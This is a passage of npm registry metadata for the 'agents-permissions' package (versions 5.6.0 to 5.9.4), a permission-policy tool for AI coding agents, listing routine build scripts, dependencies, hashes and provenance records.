Mearman","license":"Apache-2.0","_id":"agents-permissions@5.6.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"e414de43798a745d3d9ba6d8533af6c8370995a6","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.6.0.tgz","fileCount":71,"integrity":"sha512-wEySw7UDyuU5WJ1l2DZsUOW2vfe7jpG+CsNtzuPUPIJVFDeIXyV+mLkXuH5K3lxv0+shvctC/m87Wjl1oXlbXA==","signatures":[{"sig":"MEQCIHPS1gbqjB9eOsxhVBDuxlH3Oy6qTm7nUTy/4r5A6BDfAiBxLcTmoY/HLebofaNR6iZxuoeCwmh1o+i6R9qCL4W+Mg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.6.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":837695},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.6.0_1778582415910_0.646040619548901","host":"s3://npm-registry-packages-npm-production"}},"5.7.0":{"name":"agents-permissions","version":"5.7.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.7.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"897c024a60a472637de01212cdb73a61892af52a","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.7.0.tgz","fileCount":71,"integrity":"sha512-asQqEcEiqIZISNobBigEJQM2Xmr0z/axW0AqjCLziYpKx5t2mI4GvSt8iGnAop0mP5l1iwrkbmo379yPo3bOmw==","signatures":[{"sig":"MEQCIHwYjzyHNcWZYNN42C0eHHmBfKnQ2F12Qh21yvRgvKWaAiBgA0xmoFefIZjm/yk0V4eo+71Uxix1B3Vh6ojgX0BnHQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.7.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":837695},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.7.0_1778583021645_0.61216503439668","host":"s3://npm-registry-packages-npm-production"}},"5.8.0":{"name":"agents-permissions","version":"5.8.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.8.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"d6bdeda71d5a9068be56fcd583471fc336c504ff","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.8.0.tgz","fileCount":73,"integrity":"sha512-y8Pcqw452jJHer8dlJetis2sPscvwSuxyxoSnJvJuHrtODEu3EtNuU8wDRjSuO1nnmKXy2Pd8RAx+ncsKoCnng==","signatures":[{"sig":"MEQCIDl7hVhw53pjOBc++X109wLoDGKr7dWZt6GdoaRp/px7AiAj7B7gQdV3QmKa0jLj4Cg5eNTL81n3d/K52lW2dxfDAA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.8.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":838638},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.8.0_1778583326381_0.023760111443488885","host":"s3://npm-registry-packages-npm-production"}},"5.9.0":{"name":"agents-permissions","version":"5.9.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.9.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"7dbbeda740b7352a843d6175b3d87d92d9fc4514","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.9.0.tgz","fileCount":73,"integrity":"sha512-0dDstD/OdsTJiGafuQnwWBqcmdG6ZSMrQsNt1Qp6c4cQVYfwigOmp46ricYp3ZaAGIYJenEdEXUY4PktbxXrBQ==","signatures":[{"sig":"MEQCIE6b466dw45UmxI2Vgz/rCU6g0xq3EG7GAwpnEHEl8WXAiB3B0L3SL22qmxVjs+mltZzVeTAIjMCmz+A2ulYNxVuHA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.9.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":838700},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.9.0_1778583584647_0.12105561006390864","host":"s3://npm-registry-packages-npm-production"}},"5.9.1":{"name":"agents-permissions","version":"5.9.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.9.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"2f8e52e6fd51131074c207a23251dbbc86e62ff0","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.9.1.tgz","fileCount":73,"integrity":"sha512-yMsjX0m0BNNz/rhW5Hnqf/etxxgB/sTFJtJN14NT/Lt37gk2FDJFheIguSYQ/4l7Xj/D47SyfLRT8uJboC6GFA==","signatures":[{"sig":"MEYCIQDFqHbKWpQCygRNEAzC01BihiyQhpiLPobvsVCFYvRO9AIhAP11StTVBAeGaB9i8jU4lPDXhE+O+GJcBjvX55msOsad","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.9.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":839937},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.9.1_1778583728908_0.7191817922766219","host":"s3://npm-registry-packages-npm-production"}},"5.9.2":{"name":"agents-permissions","version":"5.9.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.9.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"fbc100760c4c9014bd5d52c0412b53b73e04896e","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.9.2.tgz","fileCount":73,"integrity":"sha512-t2vjFNZDTjhb1CgVEq6b3Q7ACZxKIgp4CvEnGMvnKLPpowwZRIlf7HkhUYKDlV7xhgJJluMUd2AjqXHHDadfpA==","signatures":[{"sig":"MEYCIQCSJYv3B/JTV9JZSyDLOBK6p4JtdVHvCDwX4Au3aQR4HQIhAIY76Tvyv1bOjBdyuA2ECrsVbo7mviOoFguv9N45pdiQ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.9.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841222},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.9.2_1778584231609_0.35371198024523376","host":"s3://npm-registry-packages-npm-production"}},"5.9.3":{"name":"agents-permissions","version":"5.9.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.9.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"663703ccb3ac2b06f1826ec5fb92e343bd66834e","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.9.3.tgz","fileCount":73,"integrity":"sha512-yELqPbpnOebUZfrWA9CnLPqkptfxcyQE6aJ1j8WGsIHNKir0DsjS2cNkrv7oMIJRWtHVaUMIblRgshMXKqgppw==","signatures":[{"sig":"MEUCIHhsnxnUlghE5m/kg5S2x1qSVeFe+UX9UwSvM26fIlMQAiEA54L2vdFjABKij0e1IX2DDJuU7BF/JTtzLQ8GbT+RKHw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.9.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841328},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.9.3_1778584433767_0.9727701720917228","host":"s3://npm-registry-packages-npm-production"}},"5.9.4":{"name":"agents-permissions","version":"5.9.4","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.9.4","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"63a170ed6c3ce875cdc177ebd10f3ea1962a6683","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.9.4.tgz","fileCount":73,"integrity":"sha512-LauxDzoU8BOt+4OvIxMsfwIMRP22BJ9K4RGxF0t6KKvkTvlfQQYj7LTApkqdWXL5mR5CvAkksGsPJjxSy//r8w==","signatures":[{"sig":"MEYCIQDueY8gInDb32opfMhNXg+aW+9ZZM/nCVcpH+eI9GbeMwIhAO4fQ5M5S4Y8zkCtA9A/Uy3H0EGf68miQcs5HXbo3Bel","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.9.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841393},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding 